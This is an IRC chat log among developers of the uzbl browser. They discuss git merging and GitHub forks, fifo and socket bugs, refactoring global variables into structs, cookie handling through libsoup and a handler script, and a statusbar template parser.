21:53 < Dieterbe> barrucadu: usually yes. but not when i want to merge from rob| :P
21:53 < sm217> so far it asks me to accept or not
21:53 < Dieterbe> sm217: read the *** source code
21:53 < barrucadu> Dieterbe: I have a diff of 446 lines with dusanx/master, immediately after merging it. So it can't be *that* useful :p
21:53 < Dieterbe> barrucadu: that's because dusan still needs to merge from you
21:54 < dusanx> why don't you merge from Dieterbe? I do the same
21:54 < sm217> eww.
21:54 < anydot> rob|: Cool, even thought you have fifo/socket path in struct, still there are sole as globals in uzbl.c
21:55 < rob|> anydot: as i said i just started to convert it, but was too lazy to actually remove everything before i could be sure that you guys are interested in that way of doing it
21:55 < anydot> Dieterbe: btw, had you merge latest barrucadu's changes?
21:56 < anydot> It can be fine for future (tab support).
21:56 < anydot> Or ... part of it.
21:56 < rob|> right, it also looks nicer than tons of global vars
21:56 < anydot> Nice, 19 conflicts to go! :)
21:57 < _19LIONZ_> unfortunately , Privoxy is http server not SOCKS
21:57 < Dieterbe> anydot: yeah. every evening i merge from people who have some good stuff. that includes barrucadu :)
21:57 < barrucadu> :)
21:57 < rob|> anydot: so, you are working on cleaning up my mess, right?
21:57 < anydot> good stuff, sound kinda like dealer speech :)
21:57 < anydot> rob|: Yep.
21:58 < barrucadu> I merge whenever I see a few changes from either Dieterbe or dusanx in the github graph
21:58 < anydot> rob|: So you have time working on your git skills. :)
21:58 < rob|> anydot: i'll wait then and fetch the branch including that before going any further
21:59 < anydot> If you will only fetch, this commit will be still around.
21:59 < Dieterbe> rob|: note that github doesn't know your uzbl is a fork of ours. it treats it as an entirely different project. you don't show up in our news feeds, network graphs etc
21:59 < anydot> And even if Dieterbe try to merge from you, he will merge even it, etc ...
21:59 < anydot> Dieterbe: Well, that's problem of github :)
21:59 < Dieterbe> no, that's a problem for me
21:59 < Dieterbe> i don't know automatically when rob pushes stuff
22:03 < sm217> Eww. Things do not work, cookies are not saved. I will continue tomorrow.
22:04 < sm217> Dieterbe: to be sure, your handler expects only cookie header after PUT, and nothing after GET ?
22:05 < dusanx> Dieterbe: merged your experimental without problems
22:06 < anydot> And btw, remember you must bind cookies not to precise URL, but to domain.
22:06 < Dieterbe> sm217: yes, it will take the cookie from stdin on put and (maybe) save it to disk.  a get will (maybe) load the cookie from disk and echo it on stdout
22:06 < anydot> To 2 level, with exception of cases like .co.uk etc, in which cookie must be bound to 3rd level domain.
22:06 < anydot> etc,
22:07 < Dieterbe> anydot: i just use the entire hostname.
22:07 < sm217> hmmm.
22:07 < anydot> But that is wrong.
22:07 < sm217> I'm simply not sure if it will work that way
22:07 < Dieterbe> sm217: note that i did not test the script yet.
22:07 < Dieterbe> sm217: why not?
22:07 < sm217> I did
22:07 < anydot> I originaly planned to extend libsoup's SoupCookieJar "class".
22:07 < anydot> Which will give much greater controll than signal can give us.
22:08 < Dieterbe> anydot: theory is all very nice, but tell me what is wrong with my suggested approach
22:08 < sm217> Dieterbe: just because there may be multiple cookies for one host
22:08 < anydot> Dieterbe: www.something.com MUST have access to www2.something.com, for example.
22:08 < anydot> AFAIK.
22:09 < sm217> and how do we know which one is requested. I should have read more on cookies, some theory.
22:09 < Dieterbe> well those are just implementation details which we will resolve
22:09 < sm217> it's late, I will see tomorrow.
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22:10 < anydot> Well, just implement it in way, which allows multiple cookies to be set and get for one request.
22:10 < anydot> Late, pff, not even midnight "0
22:12 < dusanx> can we make simple cookie support for 99% sites out there and then extend reach to marginal cases? I am sure that there are sites that need perfect cookie support but I am not sure that I ever seen them
22:12 < anydot> dunno that.
22:20 < dusanx> Dieterbe: have you managed to test this script?
22:21 < rob|> hmm, the github guides are not really clear
22:21 < rob|> "to fork simply push the fork button", erm?
22:22 < dusanx> rob|: yup, login, go to dieter experimental, there is fork button
22:22 < rob|> no fork button showing up just "watch/download"
22:22 < rob|> and yes i'm logged in
22:23 < dusanx> rob|: have you done this: http://github.com/guides/providing-your-ssh-key
22:23 < anydot> It's not working if you already have repository from which he merged (which is you case).
22:23 < rob|> sure
22:24 < rob|> ah, i see
22:24 < anydot> I myself must delete githubs repository, create one as fork, and then push to it from my local repo.
22:24 < Dieterbe> dusanx: nope
22:24 < anydot> But, for you case, skip the last step. :-)
22:24 < rob|> so you suggest to delete my current uzbl repo from github and fork dieter's afterwards, right?
22:25 < anydot> So your messy commit wont end up there.
22:25 < anydot> yep.
22:25 < rob|> alright, will do so
22:25 < anydot> Have you any outstanding changes on your local repository?
22:25 < anydot> (on in which you work and then push to github)?
22:25 < rob|> no
22:25 < anydot> In case no, just delete your local repo too
22:26 < anydot> and clone from your newly forked repository on github (=> after you recreate it).
22:26 < anydot> You will get new, pristine clone. :-)
22:26 < dusanx> going to sleep, see you all
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22:27 < anydot> rob|: So, 1. delete github repo, 2. fork Dieterbe's repo via fork button in his github's repo, 3. delete your local repo, 4. git clone "your github's repository url here"
22:27 < anydot> 5. Profit :-)
22:28 < rob|> alright, thanks for the advice. seems i'll need to wait a bit until the deletion has taken place
22:28 < anydot> No, deletion is instant.
22:28 < anydot> Well, for me it was. :)
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22:31 < aSuKar> hello
22:31 < anydot> Hi.
22:32 < aSuKar> i tried to start uzbl
22:32 < aSuKar> at first it has more dependencies then mentioned on the website
22:32 < anydot> Try using example config, ./uzbl -c examples/config/....
22:32 < aSuKar> and second, i got a segmentation fault, so i am probably doing somthing wrong
22:32 < anydot> aSuKar: Which one dependency?
22:33 < aSuKar> gstreamer, liboil
22:33 < anydot> That's dependency of libwebkit.
22:33 < anydot> Not uzbl's
22:34 < aSuKar> aha
22:34 < aSuKar> thnx
22:34 < aSuKar> and what about my segmentation fault?
22:34 < anydot> In reality, uzbl has only libwebkit dependency, everything other is dependency of it. :-)
22:34 < anydot> aSuKar: Try experimental branch, there was problem if you don't supply configuration file.
22:35 < anydot> OR, stick to master, and use ./uzbl -c examples/configs/sampleconfig-dev
22:35 < Dieterbe> oh crap
22:35 < Dieterbe> i should merge that into master
22:35 < anydot> :)
22:35 < anydot> Imho you can merge whole experimental into master by now.
22:36 < Dieterbe> done and done
22:36 < anydot> :)
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22:36 < github> uzbl: Premysl 'Anydot' Hruby master SHA1-0d882b5
22:36 < github> Fix memory leak, use g_strdup instead of estrdup
22:36 < github> http://bit.ly/1ar23e
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22:36 < anydot> hehe
22:36 < anydot> Serious flaw in design of that bot. :)
22:37 < Dieterbe> lol
22:37 < anydot> Well, maybe still better than flood whole channel.
22:37 < anydot> Looks like he doesn't pause between sending messages.
22:37 < anydot> So it run into flood control of ircd. :)
22:39 < anydot> btw, now uzbl.org is not default uri to load if user doesn't supply one?
22:40 < anydot> (not against it, just asking if it's ok)
22:40 < Dieterbe> we've never loaded any uri by default
22:40 < anydot> Of course we do.
22:40 < anydot> iirc :)
22:41 < Dieterbe> nope
22:41 < Dieterbe> only if you pass --uri
22:42 < anydot> Ah, test-config's target do this.
22:42 < anydot> Sorry :)
22:46 < rob|> ok, i guess i got how the whole thing's supposed to work now :)
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22:49 < rob|> oh yeah, do you insist in keeping everything in uzbl.c? i guess at least the communication (i.e. fifo/socket) stuff could go into its own source file
22:49 < anydot> Not for now.
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22:51 < rob|> so one more question, supposed i also add anydot's fork to the repos i fetch/pull from - will this cause any havoc with dieter's repo?
22:51 < anydot> You mustn't add any other's repo.
22:52 < rob|> that's odd
22:52 < anydot> rob|: Whole fork thingie is just ... you initiate YOUR repo with someone else content of their repo.
22:52 < rob|> that means i'll have to wait until the main upstream has merged everything in
22:52 < anydot> You add remote branches/repository.
22:52 < anydot> nope.
22:52 < anydot> *no
22:52 < anydot> rob|: Just read some git tutorial, search for git remote etc.
22:53 < anydot> Or better, just read it :)
22:53 < rob|> well, that was my question. doing "git add remote anydot <anydot's public uzbl url>" and pulling changes in from that one should be ok, right?
22:54 < anydot> well, look at git fetch
22:55 < anydot> also, to see what changed between yours master and for example my master use:
22:55 < anydot> git fetch anydot; git log ..anydot/master (if you are now in your master branch)
22:55 < anydot> if you add -p, it will even show you patches, which is very nice. (hg fyi has that too).
22:56 < anydot> rob|: But first, read some howto.
22:56 < anydot> I have no time to be a teacher. :-)
22:57 < rob|> alright
22:58 < anydot> interesting
22:59 < anydot> I have no experimental branch, yet github shows me that I have.
23:05 < anydot> ok, here is it.
23:05 < anydot> http://github.com/anydot/uzbl/commit/96c22d0ed217d3cada8c5270f5bffa262d14cb18
23:05 < anydot> It's sort of WIP, network settings are not currently in that structs.
23:06 < anydot> That commit is mainly cleaned up rob|'s patch, with change, that even fifo/socket_path is used directly from structs.
23:06 < anydot> Dieterbe: Ready to apply on your experimental :)
23:09 < rob|> any reason for mixing up camelcase and all upper case naming themes? (i.e. GUI vs. the other type names)
23:10 < anydot> They are all CamelCase
23:10 < anydot> GUI is shorthand
23:10 < anydot> You can't camel case something which is always written uppercase. :-)
23:11 < anydot> So, no mix-up for me.
23:11 < rob|> hehe
23:11 < anydot> rob|: But ok, I was thinking about it for while, that I will use Gui for it.
23:11 < anydot> But then came up reasoning to me, one that I wrote above.
23:12 < rob|> sounds good, looks strange though
23:12 < anydot> Kinda. :)
23:12 < anydot> But it's logical. :)
23:13 < rob|> well ok, no need to nitpick here
23:14 < rob|> let#s better concentrate on the really important things ;)
23:15 < anydot> rob|: Also, this is rather good text, http://www.kernel.org/pub/software/scm/git/docs/user-manual.html
23:15 < rob|> right, already found that one
23:15 < anydot> Thought so.
23:16 < anydot> But if you don't have much time to study it, before "going wild", these two links I posted you are imho good start.
23:18 < rob|> yeah, that whole thing is a bit confusing first, though i'm starting to grasp the concepts
23:19 < rob|> anyways, next step i'd like to hack on is the statusbar using a templete and pango's markup language
23:22 < anydot> rob|: First, you can finish that "move into structs" work.
23:22 < rob|> right, i'll do that as soon as dieter has merged in your changes
23:22 < anydot> There are networking (+soupsession) variables, which can be placed into some struct :)
23:23 < anydot> You can work on it even now.
23:23 < Dieterbe> ok here i am
23:23 < anydot> rob|: Have you add my repo as remote?
23:23 < rob|> anydot: not yet
23:23 < anydot> ok, he's here, so you can wait anyway.
23:23 < Dieterbe> anydot: did you test this?
23:24 < anydot> Yep, but I'll be glad if you gave it test run too.
23:24 < Dieterbe> any/master?
23:24 < anydot> yeah, my master.
23:25 < Dieterbe> oh yeah, i have you aliased as any :P
23:25 < anydot> I see.
23:25 < anydot> You have all of us as 3 letter shortcuts, as can be seen from you merge commits. :)
23:25 < anydot> btw, who's axel?
23:26 < Dieterbe> axelson
23:26 < Dieterbe> dunno who he is actually
23:26 < anydot> He isn't here?
23:26 < Dieterbe> but i guess he had something worth merging in
23:26 < Dieterbe> yes
23:26 < Dieterbe> he's here
23:26 < anydot> Ah, somehow overlooked him :)
23:27 < anydot> Dieterbe: btw, is fifo/socket considered fixed by now?
23:27 < anydot> Or still (semi) broken?
23:27 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff any/master | wc -l
23:27 < Dieterbe> 354
23:27 < Dieterbe> MUCH better
23:28 < anydot> Also clean. :)
23:28 < fogobogo> Dieterbe: http://omploader.org/vMW1odQ
23:28 < anydot> fogobogo: What's that? :)
23:28 < Dieterbe> yeah it's sort of fixed. i personally have some issues with fifo (only the first command is recognized, not the ones after that) but i only have this on 1 pc, not on another. also some other people cannot reproduce it
23:29 < anydot> Imho, there's some race condition.
23:29 < Dieterbe> the socket also works, though we currently use it only as an input device
23:29 < anydot> As if I place printf somewhere after read, it works for many commands.
23:29 < Dieterbe> i'm just saying it "works". not that it's bugfree. not at all :)
23:29 < anydot> etc.
23:29 < Dieterbe> fogobogo: wtf :/
23:29 < anydot> Dieterbe: Because I'm considering rewrite of whole input handling.
23:30 < fogobogo> anydot: a draft. much like that http://thorwil.wordpress.com/2009/05/03/uzbl-3/
23:30 < fogobogo> well. kinda
23:30 < anydot> I have also plan, to allow multiple clients connected (via socket of course) to one instance of uzbl in same time.
23:30 < anydot> And also handling partial writes etc.
23:30 < anydot> ...
23:31 < rob|> anydot: that does sound pretty nice, especially with a version of dmenu that does not grab the keyboard globally
23:32 < rob|> you could have a small dmenu overlaying a part of your statusbar used to issue commands to uzbl
23:32 < fogobogo> Dieterbe: what?
23:33 < anydot> rob|: That's not needed anyway :)
23:33 < anydot> You can use configuration cmd for this.
23:33 < Dieterbe> anydot: uzbctrl/socket stuff seems to be broken with the patch
23:34 < anydot> hmm
23:34 < Dieterbe> could have been before it too
23:35 < anydot> Segfault it for you too?
23:35 < Dieterbe> no
23:35 < anydot> For me it does.
23:35 < anydot> If I try to use uzblctrl
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23:35 < github> uzbl: Premysl 'Anydot' Hruby experimental SHA1-96c22d0
23:35 < github> Move global variables into structs, first round
23:35 < github> http://bit.ly/LarqK
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23:35 < rob|> Dieterbe: seems it was before the patch, latest experimental does not create fifo/socket fiels in /tmp
23:35 < rob|> *files
23:36 < rob|> for me at least
23:36 < Dieterbe> for me it does. do you have a config?
23:36 < Dieterbe> remember you need to set the paths with a config
23:36 < rob|> no
23:36 < rob|> oh, that's odd - there should be defaults
23:36 < Dieterbe> listen i need sleep now. it looks pretty good to me, good enough to be in an experimental branch
23:37 < Dieterbe> rob|: no we changed the logic a bit.  if the paths are not defined, don't create fifo/socket
23:37 < Dieterbe> so uzbl is very minimal by default
23:37 < rob|> hmm, ok
23:37 < anydot> Dieterbe: Ok, so what's the behaviour if you say it's broken?
23:37 < Dieterbe> thanks for the work guys, see you later
23:37 < Dieterbe> anydot: just nothing happens for me
23:37 < rob|> gn8 dieter
23:37 < anydot> Ok
23:40 < rob|> ok, one more problem. start uzbl with the sampleconfig, and issue "echo toggle_status > /tmp/fifoname"
23:41 < rob|> the commands seems to be catched, though no statusbat is being toggled
23:41 < rob|> after issuing the echo for the second time it works
23:42 < anydot> Dieterbe: So, tried it, and socket works for me with experimental/HEAD and, also with previous revision it works OK.
23:42 < anydot> Dieterbe: Looks like some problem on your side, recheck please.
23:42 < rob|> also existing fifo files are not being reused any more
23:43 < anydot> For me, it works (toggle..)
23:43 < rob|> on the first call?
23:43 < anydot> yep, and also on consequent.
23:43 < rob|> strange
23:43 < anydot> But we know, that there's problem with fifo code, race condition imho.
23:43 < anydot> It's going to be rewritten anyway.
23:44 < anydot> Tomorow maybe, if I will have some free time.
23:44 < rob|> alright, so i won't spend any time trying to figure out what's going wrong then
23:45 < anydot> :)
23:45 < anydot> That input code is ugly anyway :)
23:46 < rob|> indeed ;)
23:47 < rob|> also there's a segfault when issuing "exit"
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23:48 < rob|> probably freeing a null pointer or double-free
23:48 < anydot> Don't get any.
23:48 < rob|> man, that's odd again
23:48 < anydot> But that's second thing I want to cleanup, there's too much memory leaking now.
23:49 < anydot> Mostly from the code barrucadu's write today.
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00:09 < rob|> hah, it's just too funny. i always type "svn stat" and similar instead of "git ..."
00:10 < anydot> rob|: Btw, there one thing where's git different even amongs other DVCS, use of index (also called stage in older docs).
00:10 < anydot> But it's rather cool feature.
00:15 < rob|> ah ok, didn't read up on that yet
00:15 < anydot> :)
00:16 < rob|> where should all those soup and proxy vars go to? new struct networking or something?
00:16 < anydot> rob|: Another cool feature is git-stash :)
00:16 < anydot> rob|: Imho yes.
00:16 < anydot> Dunno if that soup struct, it's used only in same code, so it maybe can be localized.
00:17 < anydot> It's also easy to retrieve session back.
00:17 < anydot> rob|: So, put just that network variables into struct Network.
00:19 < rob|> right, that's what i'm doing now
00:19 < anydot> OK
00:19 < rob|> i left the uri var in state, though - not sure, logically it would rather belong to networking
00:20 < anydot> No.
00:20 < anydot> (imho)
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00:21 < anydot> rob|: It's network in sense of some setup, not current url etc.
00:22 < anydot> Also, uri reffer to current URL only after uzbl is started up.
00:23 < anydot> Nah, no.
00:23 < anydot> Overlooked that load_commit_cb match.
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00:36 < rob|> hmm, i wonder wether we should replace those random values that define the maximum socket and fifo filename length with FILENAME_MAX
00:39 < rob|> also there's nowhere a check to make sure the length does not exceed the defined max length
00:39 < anydot> Well, terminus technicus for them is "magic number" not random. :-)
00:39 < anydot> rob|: They both should be imho only char*
00:39 < anydot> Not staticaly sized buffers.
00:40 < rob|> right, *char and check for FILENAME_MAX on memory allocation
00:41 < anydot> They can be then arbitrary long (in reality only as long as memory allows).
00:41 < anydot> So why we should limit them to FILENAME_MAX?
00:41 < rob|> hmm, are you sure?
00:41 < anydot> On what?
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00:42 < anydot> Nevermind, I'm going to sleep.
00:42 < rob|> alright, gn8 see you later anydot
00:42 < anydot> bye
00:43 < canute_> Uzbl seems to get segmentation fault when scrolling down at http://supergenpass.com/
00:43 < rob|> will stop now, too and watch a nice documentary
00:44 < anydot> canute_: How do you scroll? j/k? page up/down? other?
00:45 < rob|> canute_: can't reproduce with latest experimental
00:45 < canute_> hm
00:45 < canute_> i just recompiled it using yaourt
00:45 < anydot> canute_: Also have no problem, j/k pg up/down, even mouse wheel works like a charm.
00:45 < canute_> i've done both
00:46 < anydot> canute_: Try to manualy download Dieterbe's experimental branch and build.
00:46 < canute_> will do
00:46 < anydot> well, then hilight me please with the result.
00:46 < canute_> okay
00:47 < anydot> So I don't overlook it in the morning. :-)
00:48 < canute_> it doesn't happen immediately, so it could be a webkit problem
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07:08 < dusanx> 'morning :)
07:23 < ruskie> good morrow all
08:07 < dodobas> yello
08:57 < dusanx> finished cookies, at my git. http://github.com/dusanx/uzbl/commit/478d3db4fc28eb4d6a7a2a468db9115ffeeec933
08:59 < ruskie> yay
09:00 < rob|2> good morning
09:00 < dusanx> hi
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09:05 < dusanx> and they work :)
09:22 < Dieterbe> morning hackers
09:22 < dusanx> morning boss
09:24 < ruskie> lol
09:25 < Dieterbe>  rob|> also existing fifo files are not being reused any more : rob| this is by design. i believe we even error out if the fifo already (still) exists
09:26 < Dieterbe> the fifo could be in use by another instance so we cannot just reuse it
09:26 < rob|> i see, sounds logical
09:28 < rob|> btw, i moved almost all global vars into the structs. the ones that remained need some thinking where to be best put
09:29 < Dieterbe> uhu. for the "uri" var i also think it is part of the current state of uzbl, not networking setup
09:30 < rob|> right, that's where it is right now
09:30 < Dieterbe> dusanx: you are not using the handler? that's cheating :)
09:31 < dusanx> Dieterbe: no, see build in soap function :( handles everything...
09:31 < dusanx> works very well :)
09:32 < rob|> been also thinking a bit about the statusbar template and i guess a GScanner is the way to go in order to parse the template string(s)
09:32 < rob|> http://library.gnome.org/devel/glib/2.20/glib-Lexical-Scanner.html
09:35 < Dieterbe> dusanx: i want cookies handled by the handler script. it allows for much more possibilities/customisations
09:35 < Dieterbe> dusanx: but i can implement that part tonight. np
09:35 < Dieterbe> dusanx: as long as the code to send and retrieve cookies to/from websites works
09:35 < dusanx> Dieterbe: I know but I could not wait.
09:36 < dusanx> http://library.gnome.org/devel/libsoup/stable/libsoup-client-howto.html
09:36 < dusanx> SoupCookieJar and SoupCookieJarText
09:36 < dusanx> Support for HTTP cookies. SoupCookieJar provides non-persistent cookie storage, while SoupCookieJarText uses a text file to keep track of cookies between sessions.
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09:37 < Dieterbe> i don't want uzbl to do the persistent storage of cookies.
09:38 < dusanx> Dieterbe: SoupCookieJar (not text) is what you want? What do you mean non-persistant? You need to store them somewhere
09:39 < Dieterbe> yes SoupCookieJar inside uzbl. persistent storage is managed by the handler script
09:40 < dusanx> Dieterbe: I know and I am waiting to try it. Still not sure about speed loses.
09:44 < dusanx> Dieterbe: can you think about keeping both options, text file and external handling?
09:44 < Dieterbe> the external handler _does_ use text files
09:45 < anydot> It will be slow.
09:45 < dusanx> Dieterbe: I know but you understand why I ask this
09:45 < anydot> imho
09:45 < Dieterbe> we will solve performance issues if/when they appear
09:45 < Dieterbe> we can always write the script in something more performant then bash, cache 'GET' requests to the script, etc
09:46 < Dieterbe> but let's not get too ahead of ourselves.
09:47 < Dieterbe> first we get the fundamental principles right. then we work on performance if needed
09:47 < dusanx> still I would like to have fallback text file variant. if anything changes in libsoup text file will not fail and will handle all possibilities.
09:49 < Dieterbe> "if anything changes in libsoup" ? if something changes and you need to adapt code, then you adapt the code at the point where you implement the newer libsoup library.
09:50 < dusanx> I am not talking about function calls, I am talking about internal data storage and structures. We need to detect change & modify script to handle that change. Text file would handle change seamlessly.
09:51 < Dieterbe> what "internal data storage and structures" ?. the handler script gets the cookie and stores it in plaintext in a file named after the corresponding domain
09:52 < dusanx> I am looking at cookies as internal page content. Same dilemma if we should extract jpg files, process them externally and then insert them back into the page.
09:53 < Dieterbe> yeah well. cookies are not part of page content. they are passed through with http headers.
09:54 < dusanx> Dieterbe: don't get me wrong, I would like to use external script. Just thinking if we are reaching too low into webkit to get and process data.
09:56 < Dieterbe> I do not think we are reaching too low.
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10:01 < dusanx> well, I still hope that you will leave this as an alternative. 4 lines of code are not much.
10:13 < anydot> Dieterbe: When the cookie handler script is called, whenever cookie is changed or needed?
10:14 < Dieterbe> jep
10:14 < anydot> I would prefer solution, where cookies will be stored (directly or indirectly) by uzbl, and cookie script will be just sort of policy -- accept, deny, temporary accept, accept for 10 minutes ...
10:14 < anydot> + default policy.
10:16 < anydot> And only accept and deny policies decision (= !default && !temporary) will be saved on disk.
10:16 < anydot> This is imho good solution, but in same time somewhat complex to be done in one iteration :)
10:16 < Dieterbe> well the current handler script has something like this. a bit more basic though. it can be extended more
10:16 < anydot> Dieterbe: Well, I want to move storage from script to uzbl itself, and left only decision on the script, not whole storage thingie.
10:17 < anydot> Otherwise on sites with many images etc, it will be horribly slow as whole.
10:18 < anydot> Also, uzbl core will be choked in these cases.
10:18 < anydot> It's not funny to create ~50 processes to render one page!
10:18 < anydot> Don't overwmiish it :)
10:18 < Dieterbe> anydot: we will solve issues IF / WHEN they appear
10:18 < Dieterbe> like i said
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10:19 < Dieterbe> and we can always cache get requests from the script. eg if no need to call the script more then once for a get request of the same domain in a short while
10:19 < anydot> Well, I say this just because I don't want someone to write something which will be useless in future.
10:19 < anydot> And in near future.
10:19 < anydot> Dieterbe: You can't cache the response.
10:20 < anydot> Take example, page P, which two images.
10:20 < Dieterbe> to avoid confusion: i meant the response from the cookie handler
10:20 < Dieterbe> not the response from the remote webserver
10:20 < anydot> Dieterbe: Yeh, i got it.
10:20 < dusanx> soup txt is not most elegant but works for me, I can finally use uzbl as primary browser. I'll wait to see better solution of course.
10:22 < anydot> Well, I have flash&cookies&js disabled, and only enable them it the site need it.
10:22 < Dieterbe> brb
10:22 < anydot> (NoScript + Cookie button)
10:22 < anydot> So I wan't same control in uzbl. :-)
10:22 < Dieterbe> anydot: so can you explain why caching get requests of the cookie handler wouldn't work?
10:23 < anydot> Well, it will work, but still be horribly slow.
10:23 < Dieterbe> ok. we have discussed this enough
10:23 < anydot> As you must change chache and also call script (but you mustn't wait to his response) in case cookie is changed.
10:24 < Dieterbe> hmm can you elaborate on that last part?
10:24 < Dieterbe> i don't understand what you mean
10:25 < Dieterbe> but i usually assume once you configure your deny/accept policies for sites, it wont change much afterwards
10:25 < anydot> Back to example, page P with two images, A and B
10:25 < anydot> P will set cookie
10:25 < anydot> A will also
10:25 < anydot> What cookie will you serve to B (if sequence of gets will be P -> A -> B)
10:26 < anydot> It's rather specific case we shouldn't handle by now.
10:26 < anydot> Imho.
10:26 < anydot> But is needed to have this all in mind when decision is made.
10:26 < anydot> *design decision
10:30 < Dieterbe> simple. what _should_ a browser do? if we need to send cookieP to B, we do that, otherwise cookieA whatever. there could be a delay because the user needs to accept/approve/deny but you have that with any browser
10:34  * ruskie senses a disturbance in the force
10:39 < ruskie> also leaving cookies in uzbl would mean one can't use fancy things like gpg encrypted cookie files etc ;)
10:40 < anydot> Ok, we can implement compromise, which will be imho working and fast in same time.
10:40 < anydot> 2 scripts! :-)
10:41 < anydot> one will handle policy decision, other one will get/set cookies (if there's no more space in cache etc)
10:41 < Dieterbe> stop *** over complicating
10:41 < jouz> hi there again, i mant to improve the "frame-functions" for link-following a litte - now i need to do 1. hit a key to mark links, 2. hit a key to initialize link-search 3. type the link-numbers, 4. Hit Enter. <- Is it possible to merge the first two? i got stuck here somehow.
10:42 < Dieterbe> yeah it should
10:43 < jouz> can i initialize the "waiting for input" thingy from inside function called like "f follow_link_here" ?
11:00 < ruskie> anydot, the best compromise: have a flag that defines use internal or use external ;)
11:01 < ruskie> if the overhead of the internal one is neglieble I don't see much of an issue
11:05 < dusanx> this is what script will have to cover: http://library.gnome.org/devel/libsoup/stable/SoupCookieJar.html
11:06 < dusanx> see also SoupCookie struct
11:06 < jouz> by the way, how lame are string-operations in C? its so frustrating if you never coded in C and come from python and java...
11:07 < dusanx> jouz: strings are sore point of C :)
11:07 < dusanx> that's why we used GStrings with all their faults
11:07 < dusanx> a lot
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11:15 < jouz> anydot: yeah but thats with all languages afaik - but usually a "String" class is provided which keeps the array of chars, and supplies useful operations on Strings
11:15 < anydot> Sort of, lok at str* functions.
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11:16 < anydot> But still you must have to administrate the underlaying memory, make sure you have long enought buffer etc.
11:16 < anydot> I'm okay with it, it also make sense. :-)
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11:41 < _19LIONZ_> Is the package in AUR made intentionally not to update itself ?
11:41 < rob|> i got a template parser for the statusbat working, it is quite crude as of now, though the general concepts seems to work pretty well
11:42 < rob|> using a GScanner
11:47 < _19LIONZ_> Dieterbe_: Are you here ?
11:50 < anydot> rob|: Well, do you think we need something more complicated than printf? :)
11:51 < anydot> Imho no.
11:53 < rob|> anydot: i imagine using statusbar strings like: "Sometext <%uri%> anything (%load_progress%) more stuff <span bg="blue" fg="white">%instance_name%</span>"
11:53 < anydot> Ooh. :)
13:08 < rob|> so, this is the first working attempt at it:
13:08 < rob|> http://github.com/robm/uzbl/commit/fdb283bb3827f09ce8bd51c2a405b080bd194aa6
13:09 < rob|> what needs to be done is integrate it with the config file
13:09 < rob|> and think about what elements we want to export to the statusbar template
13:09 < rob|> as of now there is only LOAD_PROGRESS and TITLE
13:14 < rob|> well, TITLE should be probably better renamed to URI
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13:15 < ruskie> you have TITLE and you have URI...
13:15 < sm217> Hi.
13:15 < ruskie> lo
13:17 < anydot> I'm still thinking, that such parser/template engine is not really needed.
13:17 < rob|> well, i like it and it sets aside uzbl from any other browser
13:18 < GNU\caust1c> keep it stupid simple
13:18 < anydot> Yep.
13:18 < anydot> rob|: If someone want's uber customization, he writes browser in shell :)
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13:31 < Dieterbe_> _19LIONZ_: how would a package update "itself" ? when you build it, you get the latest stuff from git
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13:33 < Dieterbe_> rob|: that's a lot of code for just replacing some strings, or am i missing something? can't we use str_replace (see other examples in the code) for variable replacement and the pango thing for markup?
13:33 < anydot> Dieterbe_: It's bloat imho.
13:34 < anydot> Previous 3 patches before this are ok.
13:34 < anydot> I have them in my master by now.
13:34 < anydot> (tested)
13:34 < Dieterbe_> i think rob|'s code looks much more complicated then a list of 15 str_replaces
13:35 < Dieterbe_> (15.. or so)
13:35 < anydot> Hist tipmost code of course (that template code).
13:36 < anydot> And I'm fine with str_replace, if there is ever some need for templating statustext.
13:36 < rob|> well, i also added support for pango markup: http://omploader.org/vMW1rdA
13:37 < anydot> I prefer to have statusbar colorless, with fixed font face. :-)
13:37 < anydot> So I'm neither fan of that pango markup. :)
13:37 < anydot> But it's purely my opinion.
13:37 < rob|> then just use a template that fits you best ;)
13:50 < rob|> anyways, i still think that's a good idea a can improve locating the correct browser instance a lot. like  all instances spawned from mutt have a green status bar background, etc.
13:50 < Dieterbe_> yeah i want to able to theme the statusbar
13:50 < Dieterbe_> if you don't want it, keep your "template string" basi
13:51 < Dieterbe_> rob|: hmm your font looks quite.. ugly. you have that on all pages or just uzbl.org?
13:51 < Dieterbe_> i mean the font of the letters of the rendered page
13:52 < ruskie> ugh that does look ugly
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13:53 < rob|> that's just a basic arch install, didn't customize almost anything
13:54 < anydot> Anyway, still there's no reason to use some overcomplicated GScanner stuff.
13:54 < anydot> (imho)
13:59 < Dieterbe_> 2nd that
14:00 < Dieterbe_> what about just having 1 function called "parse_string" or so, which you can apply on the user-agent, title and statusbar
14:00 < Dieterbe_> and the function would just do a series of str_replaces (one for each "keyword" as defined in some global struct)
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14:05 < rob|> well, i didn't run any comparative tests, though i'm not convinced that the strreplace method is much more efficient
14:06 < rob|> or even easier to implement
14:09 < Dieterbe_> but it makes the code more readable imho
14:10 < anydot> Yep.
14:13 < rob|> well, ok. adding new symbols/template place holders right now is just a matter of writing one more case branch, though i'm looking forward to your implementation
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14:19 < Dieterbe_> rob|: tonight i'll give it a shot
14:19 < rob|> alright
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16:44 < dusanx> hi
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16:47 < Dieterbe_> hey dusanx 
16:48 < dusanx> Dieterbe_: :)
16:48 < dusanx> had some net breakdown
16:57 < dusanx> this thing is fast, using uzbl as primary browser
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16:58 < dusanx> Dieterbe_: you there?
16:58 < Dieterbe_> dusanx: yea
16:59 < dusanx> I want to set uzbl as default X browser, you know, double click in thunar opens uzbl with page. how to set this since uzbl needs --uri?
17:01 < Dieterbe_> i think there are .desktop files that regulate that
17:01 < Dieterbe_> (freedesktop.org spec)
17:01 < dusanx> ok
17:01 < Dieterbe_> find /home/dusan -name '*.desktop' ;)
17:01 < dusanx> Dieterbe_: not on dwm
17:02 < Dieterbe_> i dunno about dwm
17:02 < dusanx> but I found something
17:02 < dusanx> don't work right now
17:02 < ruskie> hmm uzbl == usable?
17:02 < dusanx> hmm, tries to execute uzbl --uri http://....
17:02 < dusanx> http append :(
17:03 < dusanx> need to test local disk but I hate complications
17:03 < Dieterbe_> ruskie: if you don't need cookies and ssl management, then yes. i guess. somewhat
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17:03 < dusanx> Problem occurred while loading the URL http:/home/dusanx/DE.html
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17:03 < dusanx> so we need to test for / and not append http:// ?
17:04 < dusanx> but file:// ,right?
17:04 < Dieterbe_> i think we should look up how/if webkit handles that
17:05 < Dieterbe_> try it in midori or something
17:06 < dusanx> midori appends file:// probably tests for first /
17:08 < Dieterbe_> then let's do the same :P
17:13 < _19LIONZ_> hi , what are bookmark tags for ?
17:14 < Dieterbe_> currently they are not used. but if you want to include tags in your searching thing you could do it.
